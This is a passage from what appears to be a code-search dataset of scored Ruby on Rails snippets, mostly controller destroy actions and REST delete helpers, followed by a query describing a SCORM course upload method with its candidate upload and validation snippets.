|format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "38c69eb7232b6bf97755aa025febc4e9", "score": "0.6533959", "text": "def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "15a6b1a093ea1b368cc03ca192ff2180", "score": "0.6516707", "text": "def destroy\n @malejump_head.destroy\n respond_to do |format|\n format.html { redirect_to malejump_heads_url, notice: 'Malejump head was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9b146c3dc4fa743a8c5ec39e9a8e1cdc", "score": "0.6516185", "text": "def destroy\n @batting_line = BattingLine.find(params[:id])\n @batting_line.destroy\n\n respond_to do |format|\n format.html { redirect_to batting_lines_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d635151dee47113f0ad6a6ef0b73f89e", "score": "0.6513256", "text": "def destroy\n @budget_line.destroy\n respond_to do |format|\n format.html { redirect_to budget_lines_url, notice: 'Budget line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "56b7e9385ee563f313fa22540db087e4", "score": "0.6492374", "text": "def destroy\n @observer_head.destroy\n respond_to do |format|\n format.html { redirect_to observer_heads_url, notice: 'Observer head was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7070e4dc3849fac5852c0271c9b6d7cc", "score": "0.6485275", "text": "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "title": "" }, { "docid": "e16579e3a1ef5801f2187b2242ec48b6", "score": "0.6476029", "text": "def destroy\n @lineitem = Lineitem.find(params[:id])\n @lineitem.destroy\n\n respond_to do |format|\n format.html { redirect_to lineitems_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d1f0a8e8c97a0438790f1ddeeecaca29", "score": "0.6473873", "text": "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "title": "" }, { "docid": "4309040ae96307a2516ac264301b2197", "score": "0.64714485", "text": "def destroy\n @linehaul.destroy\n respond_to do |format|\n format.html { redirect_to linehauls_url, notice: 'Linehaul was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "289ab12d16330d186fbb2b0b68e0f603", "score": "0.64700043", "text": "def destroy\n @sample_line = SampleLine.find(params[:id])\n @sample_line.destroy\n\n respond_to do |format|\n format.html { redirect_to sample_lines_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "80c82dc4e3adfebdc9b677f031c4cce4", "score": "0.64519644", "text": "def destroy\n @malethrowing_disc_head.destroy\n respond_to do |format|\n format.html { redirect_to malethrowing_disc_heads_url, notice: 'Malethrowing disc head was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6104692ae3f0879563fb45f9e1fe8699", "score": "0.6448422", "text": "def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6104692ae3f0879563fb45f9e1fe8699", "score": "0.6448422", "text": "def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6104692ae3f0879563fb45f9e1fe8699", "score": "0.6448422", "text": "def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6104692ae3f0879563fb45f9e1fe8699", "score": "0.6448422", "text": "def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1f7ebc42feb0a03bf3e3123f6383000f", "score": "0.6447476", "text": "def destroy\n @timeline = Timeline.find(params[:id])\n @timeline.destroy\n\n respond_to do |format|\n format.html { redirect_to timelines_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "62baf583ed1f2dbcb8add18e8a0af759", "score": "0.64464307", "text": "def destroy\n @item_line = ItemLine.find(params[:id])\n @item_line.destroy\n\n respond_to do |format|\n format.html { redirect_to item_lines_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "542b3aef97f7b3ff2cb93be3a7de28b9", "score": "0.64332587", "text": "def destroy\n @line.destroy\n respond_to do |format|\n format.html { redirect_to lines_url, notice: \"Line was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e3d556e49d2eb04a15e0314e4c2bc351", "score": "0.6398955", "text": "def destroy\n @thead.destroy\n respond_to do |format|\n format.html { redirect_to theads_url, notice: 'Thead was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fb622696b3cadaef2a0d459cf3572785", "score": "0.6392197", "text": "def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end", "title": "" }, { "docid": "215e1b1a778bceb9ba48ca83054df841", "score": "0.6376581", "text": "def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "a3cde79594b5e06361ee344dcaf718b3", "score": "0.6372897", "text": "def destroy\n @clothing_line.destroy\n respond_to do |format|\n format.html { redirect_to clothing_lines_url, notice: 'Clothing line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "689d5a07a403c4b765ba178e4aff08a3", "score": "0.6365918", "text": "def delete\n client.delete(\"/#{id}\")\n end", "title": "" }, { "docid": "122931d6bb17986410a73fb4751b4a4c", "score": "0.6361746", "text": "def destroy\n @heading.destroy\n respond_to do |format|\n format.html { redirect_to headings_url, notice: 'Heading was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7796aba656c0e9d491134a8198be4b78", "score": "0.63552535", "text": "def destroy\n @line_items.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d66b404c8b0ddd1868067571389869d3", "score": "0.6336541", "text": "def destroy\n @lineup = Lineup.find(params[:id])\n @lineup.destroy\n\n respond_to do |format|\n format.html { redirect_to lineups_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bf172dc77e4900bcd5e23e01335dc316", "score": "0.63291305", "text": "def destroy\n @femalejump_head.destroy\n respond_to do |format|\n format.html { redirect_to femalejump_heads_url, notice: 'Femalejump head was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "205b8f4d8d71fadd038391517f9c9ba7", "score": "0.6322787", "text": "def destroy\n @sub1_line_item.destroy\n respond_to do |format|\n format.html { redirect_to sub1_line_items_url, notice: 'Sub1 line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9199c69724148b1349b013065a0e697b", "score": "0.63106173", "text": "def destroy\n @invent_journal_line = InventJournalLine.find(params[:id])\n @invent_journal_line.destroy\n\n respond_to do |format|\n format.html { redirect_to invent_journal_lines_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "99ec03749d01b9d227ea611969162c41", "score": "0.6289715", "text": "def destroy\n @headword = Headword.find(params[:id])\n @headword.destroy\n\n respond_to do |format|\n format.html { redirect_to(headwords_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "445b237aaf23f54498cb9157b23f17d6", "score": "0.6288216", "text": "def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\nend", "title": "" }, { "docid": "31754be0f254995338b3762ff5133fc9", "score": "0.62860686", "text": "def destroy\n @businessline.destroy\n respond_to do |format|\n format.html { redirect_to businesslines_url, notice: 'Businessline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ca3556192afb0570805d275976f1b96", "score": "0.6285337", "text": "def destroy\n @section_heading = SectionHeading.find(params[:id])\n @section_heading.destroy\n\n respond_to do |format|\n format.html { redirect_to section_headings_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a573b89b0dbd3dca19edaa5564a624db", "score": "0.6280463", "text": "def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: \"Line item was successfully destroyed.\" }\n format.json { head :no_content }\n end\nend", "title": "" }, { "docid": "376afb7872ca26558919139da66b44df", "score": "0.62737197", "text": "def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end", "title": "" }, { "docid": "ba67ebd85114998e01be10599c8943ca", "score": "0.62688744", "text": "def delete(path)\n RestClient.delete request_base+path\n end", "title": "" }, { "docid": "af894c062a2bbb0b09b537b57fc18400", "score": "0.6260967", "text": "def destroy\n @salary_head.destroy\n respond_to do |format|\n format.html { redirect_to salary_heads_url, notice: 'Salary head was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "260771330e95bb4ccd657e839c231290", "score": "0.62328047", "text": "def destroy\n @line_item.destroy\n respond_to do |format|\n format.js {}\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "258023f5b18fdfc04ba918598643bcfb", "score": "0.62288195", "text": "def destroy\n @liner.destroy\n respond_to do |format|\n format.html { redirect_to liners_url, notice: 'Liner was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6cfe1f53b853d9bb8b7664ac15c5f7b7", "score": "0.62254167", "text": "def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6cfe1f53b853d9bb8b7664ac15c5f7b7", "score": "0.62254167", "text": "def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6cfe1f53b853d9bb8b7664ac15c5f7b7", "score": "0.62254167", "text": "def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6cfe1f53b853d9bb8b7664ac15c5f7b7", "score": "0.62254167", "text": "def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6cfe1f53b853d9bb8b7664ac15c5f7b7", "score": "0.62254167", "text": "def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6cfe1f53b853d9bb8b7664ac15c5f7b7", "score": "0.62254167", "text": "def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b6cde6cddda5a6ec60071d0a3afc3e45", "score": "0.6222782", "text": "def destroy\n @line_item = @order.line_items.find(params[:id])\n @line_item.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "e6a8384ca5d873654cca807756b780ab", "score": "0.6222434", "text": "def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: \"Line item was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6ccb422cc1e203f47419bc64928deecd", "score": "0.622095", "text": "def destroy\n record = InvoiceLineItem.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b155b0474cc7bbaeb6efd1b341b6e8a9", "score": "0.6216244", "text": "def destroy\n @textline.destroy\n respond_to do |format|\n format.html { redirect_to textlines_url, notice: 'Textline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4c1c164b581dbae14285797e584e8fb7", "score": "0.6204368", "text": "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "title": "" }, { "docid": "79e6f4d1b2dedde866411e1330bca258", "score": "0.61949414", "text": "def destroy(options={})\n force = options[:force]\n if !force.nil?\n resp = self.class.delete(\"/lines/#{CF.account_name}/#{self.title.downcase}.json\", :forced => force)\n else\n resp = self.class.delete(\"/lines/#{CF.account_name}/#{self.title.downcase}.json\")\n end\n if resp.code != 200\n self.errors = resp.errors.message\n end\n return resp\n end", "title": "" }, { "docid": "e211b192f53a9c16399d0539ce5bd93f", "score": "0.61884546", "text": "def destroy\n @extension_line = ExtensionLine.find(params[:id])\n @extension_line.destroy\n\n respond_to do |format|\n format.html { redirect_to extension_lines_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8b1fbac9dc5346a05c041eeff0f4bed2", "score": "0.618697", "text": "def destroy\n @unique_whiteline.destroy\n respond_to do |format|\n format.html { redirect_to unique_whitelines_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "38695ef5eff0036b98c4d9c38891d62a", "score": "0.61854905", "text": "def destroy\n @credit_line = CreditLine.find(params[:id])\n @credit_line.destroy\n\n respond_to do |format|\n format.html { redirect_to credit_lines_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a4040d2dfdc59501b2a25f6a3cf2ca25", "score": "0.61824816", "text": "def destroy\n @applied_line.destroy\n respond_to do |format|\n format.html { redirect_to applied_lines_url, notice: 'Applied line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "61496cc053172164064dfa19f0108bc0", "score": "0.6174173", "text": "def destroy\n @line_pet.destroy\n respond_to do |format|\n format.html { redirect_to line_pets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2a7279de132023da04c08ab4f36e9b5c", "score": "0.61740863", "text": "def destroy\n @leave_head.destroy\n respond_to do |format|\n format.html { redirect_to leave_heads_url, notice: 'Leave head was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "137ea8b0058bee03432d63d81b6793b2", "score": "0.6167123", "text": "def destroy\n @chronicle.destroy\n respond_to do |format|\n format.html { redirect_to chronicles_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "146be3e0141bd80ee3989134b46a98e0", "score": "0.61613107", "text": "def destroy\n @contract_service_line.destroy\n respond_to do |format|\n format.html { redirect_to contract_service_lines_url, notice: 'Contract service line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f0a8ab569ca2b68cd9b5ecc51d5ae82d", "score": "0.61575425", "text": "def destroy\n @line_liver.destroy\n respond_to do |format|\n format.html { redirect_to line_livers_url, notice: 'Line liver was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "707214a7e917c71995dbd05bf48b46ce", "score": "0.6146851", "text": "def destroy\n @tagline = Tagline.find(params[:id])\n @tagline.destroy\n\n respond_to do |format|\n format.html { redirect_to(taglines_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5c3d832966a542a85a105e2ef08e94cd", "score": "0.6136242", "text": "def destroy\n @cruise_line.destroy\n respond_to do |format|\n format.html { redirect_to cruise_lines_url, notice: 'Cruise line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b4d048dcfd4a37fc70d37907c8515974", "score": "0.6132453", "text": "def delete(url, headers={})\n RestClient.delete url, headers\n end", "title": "" }, { "docid": "179ff0053e8f4f967cb3d92206094cf0", "score": "0.61306113", "text": "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "title": "" }, { "docid": "1669d639157f0404dcfb64a3835cd6c9", "score": "0.6129323", "text": "def destroy\n @hero.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "f3b1224016b067be8bc2fc3fb7c06760", "score": "0.6121707", "text": "def destroy\n @timeline.destroy\n respond_to do |format|\n format.html { redirect_to timelines_url, notice: 'Timeline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f3b1224016b067be8bc2fc3fb7c06760", "score": "0.6121707", "text": "def destroy\n @timeline.destroy\n respond_to do |format|\n format.html { redirect_to timelines_url, notice: 'Timeline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "182fb2ffbbfdfb59056e3e45b0e6b60e", "score": "0.61208427", "text": "def destroy\n @rh.destroy\n respond_to do |format|\n format.html { redirect_to rhs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bc19d8595bbaf32ad0468ada66db10ed", "score": "0.61137795", "text": "def destroy\n @horace = Horace.find(params[:id])\n @horace.destroy\n\n respond_to do |format|\n format.html { redirect_to horaces_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "337c8135bf8f70a27dcfaa05d96cdaf0", "score": "0.6107984", "text": "def delete_head\r\n delete_node @head\r\n end", "title": "" }, { "docid": "c840c3375953f345cb3c12cd7a19c997", "score": "0.6105856", "text": "def destroy\n @timeline = Timeline.find(params[:id])\n @timeline.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_timelines_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e1d6f603cb5ea1e475ea71422432aeae", "score": "0.6104301", "text": "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "title": "" }, { "docid": "f1a5db89928fe37a5c93d41e437c4fb8", "score": "0.6097262", "text": "def destroy\n @top_standing_entry.destroy\n respond_to do |format|\n format.html { redirect_to top_standing_entries_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "11ea59e4ce1803e67b3352fd2eaf9a0d", "score": "0.6091604", "text": "def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end", "title": "" }, { "docid": "354f87e448a60808c2d54b0b3d978557", "score": "0.608849", "text": "def destroy\n @time_line.destroy\n respond_to do |format|\n format.html { redirect_to time_lines_url, notice: 'Time line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9cc351ab0be1d18cf4294d8566a34956", "score": "0.6087662", "text": "def destroy\n #@line = Line.find(params[:id])\n #@line.destroy\n\n #respond_to do |format|\n #format.html { redirect_to(lines_url) }\n #format.xml { head :ok }\n #end\n @line.destroy\n redirect_to lines_path, :flash => { :success => \"Line deleted!\" }\n\n end", "title": "" }, { "docid": "186e779929b13adbb77ed77b0432ceff", "score": "0.60862297", "text": "def destroy\n\t\t@line_item.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to line_items_url, notice: \"Req ID: #{@line_item.id} removed.\" }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "title": "" }, { "docid": "fdce0690b6f07b4e910d87db4136dbb4", "score": "0.60850435", "text": "def destroy\n @hairstyle = Hairstyle.find(params[:id])\n @hairstyle.destroy\n\n respond_to do |format|\n format.html { redirect_to hairstyles_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "18d329e3610444dab16e60081d7955df", "score": "0.60751915", "text": "def destroy\n @invoice_addon_line_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_addon_line_items_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2211f826eae3bf65a7ceb715f9bb4b36", "score": "0.6074414", "text": "def destroy\n @rails_haml.destroy\n respond_to do |format|\n format.html { redirect_to rails_hamls_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "28972cb2fd240f8ae39e48d88be9efa4", "score": "0.60720557", "text": "def destroy\n @linea_uv.destroy\n respond_to do |format|\n format.html { redirect_to lineas_uv_url, notice: 'Linea uv was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7001109fa910097776dfe9921751562c", "score": "0.6069679", "text": "def destroy\n @line_item = line_items.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n end\n end", "title": "" } ]
ffb965fde0da358f20fe095c351ce027
Control comes here if the uploaded file is SCORM, NonSCORM. It takes the needed paths as arguments, reads the uploaded file, unzips,checks for virus and saves to db. Also returns a variable is_saved as true if the upload process and saving process is done perfectly else returns false.
[ { "docid": "28ef170bbe4924491bd90428a7d90967", "score": "0.0", "text": "def elearning(new_path,extension,uploaded_file,error_file_path,basepath,course_file_name)\n new_path = new_path + extension\n File.open(new_path, \"wb\") { |f| f.write(uploaded_file.read) }\n scan_value = virus_scan(new_path)\n if scan_value != 0 then\n remove_virus_affected_file(error_file_path,new_path)\n return\n end\n\n # extract the zipped file\n Zip::ZipFile.open(new_path) { |zip_file|\n zip_file.each { |f|\n f_path=File.join(basepath,f.name)\n FileUtils.mkdir_p(File.dirname(f_path))\n zip_file.extract(f, f_path) unless File.exist?(f_path)\n }\n }\n\n # search for imsmanifest.xml file and get its path\n Dir::chdir(basepath) do\n files = File.join('**','imsmanifest.xml')\n manifest=Dir.glob(files)\n @xmlfile = manifest[0]\n end\n\n # Modified here KK:jan7:handling nonscorm courses\n # if imsmanifest.xml not found then add imsmanifest.xml file to the unzipped folder\n if @xmlfile.nil?\n File.open(error_file_path, \"w+\") { |f| f.write(\"nonscorm\") }\n title = course_file_name\n url = \"tbd\"\n else\n # read xml content from manifest file if scorm course\n manifestpath = File.join(basepath, @xmlfile)\n xml_data = File.read(manifestpath)\n\n # parse the xml data for launch file\n launch_file = find_launch_file(xml_data)\n\n # parse the xml data for course title\n title = find_course_title(xml_data)\n\n # recursive search for launch file\n Dir::chdir(basepath) do\n files = File.join(\"**\",launch_file)\n launch = Dir.glob(files)\n @launch=launch[0]\n if @launch.nil? or @launch.blank? then\n file = launch_file.split(\"?\")\n @launch=file[0]\n # initialize Scorm Model and assign Url params\n @launch_parameters = file[1]\n @course.update_attribute(:scorm_url_parameters,@launch_parameters)\n end\n end\n\n # construct url\n launchpath = File.join(basepath,@launch)\n url = launchpath.gsub(\"public/\",\"\")\n end\n\n # calculate size of extracted folder\n dirsize = 0\n Find.find(basepath) do |file|\n dirsize += File.size(file)\n end\n is_saved = true\n\n if valid_space(dirsize)\n # save to database\n is_saved = save_to_database(basepath,dirsize,url,title)\n \n # delete the zip file\n File.delete(new_path)\n return is_saved\n else\n FileUtils.rm_r basepath\n\n # delete the zip file\n File.delete(new_path)\n return false\n end \n end", "title": "" } ]
[ { "docid": "04b7ff3c4f7e0de45915e1a9b4114540", "score": "0.6431252", "text": "def save\n if !super\n cleanup_file_to_upload\n return false\n else\n return true\n end\n end", "title": "" }, { "docid": "fed29dbb1e61ab953c1a9cd9e047d445", "score": "0.6348936", "text": "def raw_file_okay?\n File.exists? uploaded_file_path\n end", "title": "" }, { "docid": "097cc03d459211f6f3d3d4c0719f2295", "score": "0.590155", "text": "def execute\n # We can't backup anything if no files exist\n return false unless saves_location_exists?\n\n # Create the directory that we'll place backups in\n create_backup_location\n\n # Copy the data into a temporary backup directory ...\n temp_directory = copy_to_temp_directory(@game.saves_location)\n\n # ... Then compress the files in the backup location specified in the configuration\n compress_files(temp_directory, @game.backup_location)\n\n true\n end", "title": "" }, { "docid": "4fdba4ccf712e8544b93f5f1815360c4", "score": "0.5809143", "text": "def save\n\t\tvalid_file? and sucessful_conversion?\n\tend", "title": "" }, { "docid": "ab5a6ed1fb0bbe3231f571a4b63a3f0d", "score": "0.5798725", "text": "def uploaded?\n if self.human_data?\n true # human sequence data is remote, so this is always true\n else\n self.generation.present? || self.status == 'uploaded'\n end\n end", "title": "" }, { "docid": "ab5a6ed1fb0bbe3231f571a4b63a3f0d", "score": "0.5798725", "text": "def uploaded?\n if self.human_data?\n true # human sequence data is remote, so this is always true\n else\n self.generation.present? || self.status == 'uploaded'\n end\n end", "title": "" }, { "docid": "fb9af1da4fb75bc9b38aba80b2e62a5e", "score": "0.5763538", "text": "def valid(id)\n \n \n \n name =Upload.find(id).filepath \n ou=\"BMO\"\n # -------------------layout--------------------------- \n \n layout = DataLayout.new(LayoutFile.first(:conditions => [ \"filepath like ?\", \"%#{ou}%\"]).filepath, \"public/layouts\")\n \n lfh=change_to_valid_position(layout)[0] \n lih=change_to_valid_position(layout)[1] \n# -------------------end layout--------------------------- \n\n filename =Upload.find(id).filepath \n \n path=Rails.root.join('public', 'data', filename) \n \n validpath = Rails.root.join('public', 'done', filename )\n \n File.open(validpath, 'wb') do |file|\n #read_data=\"\" \n \n File.open(path, 'r') do |read_data|\n # read_data = path.read\n \n read_data.each do |line| \n \n if line[0] == \"F\"\n line.gsub!(line[lfh], \"Y\")\n \n end\n if line[0] == \"H\"\n line.gsub!(line[lih], \"Y\")\n end \n file.write(line)\n end \n \n end\n end\n \n size = File.size(\"#{path}\")/1024\n ftype=\"\"\n @validfile =Validfile.new(:filepath =>filename, :user => current_user.email, :size => size , :ftype =>ftype, :valid => true )\n @validfile.save \n \n \n \n redirect_to \"/uploads\" , :flash => { :msg => \"VALID FILE\" }\n \n \n \n \n \n \n end", "title": "" }, { "docid": "afe85f242930b4f7a144be9b11525568", "score": "0.57299274", "text": "def save_file\n if self.save\n# self.solr_save\n return true\n end\n return false\n end", "title": "" }, { "docid": "316f54e693d992174fa19e7a0f006100", "score": "0.5720615", "text": "def file?(path); end", "title": "" }, { "docid": "316f54e693d992174fa19e7a0f006100", "score": "0.5720615", "text": "def file?(path); end", "title": "" }, { "docid": "ea6e20af7275dda1f490814ce655e23d", "score": "0.5710978", "text": "def is_uploaded\n state == 'uploaded'\n end", "title": "" }, { "docid": "22f90d6efc8258cdb7eccf2b2ba826b9", "score": "0.5672979", "text": "def original_file_valid?\n\t\t\tFile.exists? @original_file\n\t\tend", "title": "" }, { "docid": "fcade11ea45f9cba9318b8b8500a412b", "score": "0.56670535", "text": "def stored?(file = get)\n file && store.uploaded?(file)\n end", "title": "" }, { "docid": "a713ef5d685ec9f0bb5f52af69e1d018", "score": "0.563837", "text": "def save_upload(candidate_import, uploaded_file)\n import_result = candidate_import.load_initial_file(uploaded_file)\n raise \"Errors: #{candidate[1]}\" unless candidate_import.errors.empty?\n\n import_result\nend", "title": "" }, { "docid": "8c7f85bad31a845496719172972e3e01", "score": "0.5566065", "text": "def upload\n if params[:documento][:archivo].nil? \n return false\n end\n uploaded_file = params[:documento][:archivo]\n nombre_original = uploaded_file.original_filename\n extension = File.extname(nombre_original) \n @documento.adjunto = \"#{@documento.seguimiento.caso_id}-#{DateTime.now.strftime('%Q')}#{extension}\"\n File.open(Rails.root.join('public', 'docs', @documento.adjunto), 'wb') do |file|\n file.write(uploaded_file.read)\n end\n @documento.archivo = uploaded_file.original_filename\n return true\n end", "title": "" }, { "docid": "ed42354012c4bdc66dc5f69fec6c4b0e", "score": "0.556541", "text": "def save\n if valid?\n logger.info(\"[paperclip] Saving files for #{name}\")\n flush_deletes\n flush_writes\n @dirty = false\n true\n else\n logger.info(\"[paperclip] Errors on #{name}. Not saving.\")\n flush_errors\n false\n end\n end", "title": "" }, { "docid": "ed42354012c4bdc66dc5f69fec6c4b0e", "score": "0.556541", "text": "def save\n if valid?\n logger.info(\"[paperclip] Saving files for #{name}\")\n flush_deletes\n flush_writes\n @dirty = false\n true\n else\n logger.info(\"[paperclip] Errors on #{name}. Not saving.\")\n flush_errors\n false\n end\n end", "title": "" }, { "docid": "c56f2e35e13cb94f467783d0277c98fb", "score": "0.5565128", "text": "def upload_and_save\n\t\tif save\n\t\t\tvideo_content_hosting_provider.video_content_ready_for_upload( self )\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend", "title": "" }, { "docid": "c56f2e35e13cb94f467783d0277c98fb", "score": "0.5565128", "text": "def upload_and_save\n\t\tif save\n\t\t\tvideo_content_hosting_provider.video_content_ready_for_upload( self )\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend", "title": "" }, { "docid": "5ad186e9a4cc82c5ab460db3e983583d", "score": "0.55519223", "text": "def file_uploaded?\n\t\t\treturn request_status == REQUEST_STATUS['file_uploaded']\n\t\tend", "title": "" }, { "docid": "202204be5fcfd11671179e2ac162850c", "score": "0.55491024", "text": "def ignored_file?(path); end", "title": "" }, { "docid": "09deba6bc30990385dde8ee1f14d7eed", "score": "0.552862", "text": "def upload\n\n\n \tif !params[:upload]\n\n \t\t#-- Verify the upload is false, and redirect to start page. Then display notice.\n \t\tflash[:notice] = \"Envie um arquivo para processar\"\n \t\tredirect_to uploader_index_path and return \n\n \telse\n\n\t \t@errors_log = []\n\t \tline_number = 0 \n\t \tenable_duplicity = upload_params[:enable_duplicity].to_i rescue 0 \n\n\t \t# encoding UTF-8 file\n\t \tcontents = upload_params[:file].read.force_encoding(\"UTF-8\") \n\n\t \t# check file is .txt\n\t\t\tif upload_params[:file].content_type == 'text/plain' \n\n\t\t\t\t# Verify file size\n\t\t\t\tif (upload_params[:file].size.to_f / ($system[:max_file_size].to_f*1024.0) ) > 1\n \t\t\t\t\t@errors_log << set_log_line(0, \"O arquivo não pode ser maior que #{$system[:max_file_size]} Mb.\")\n\t\t 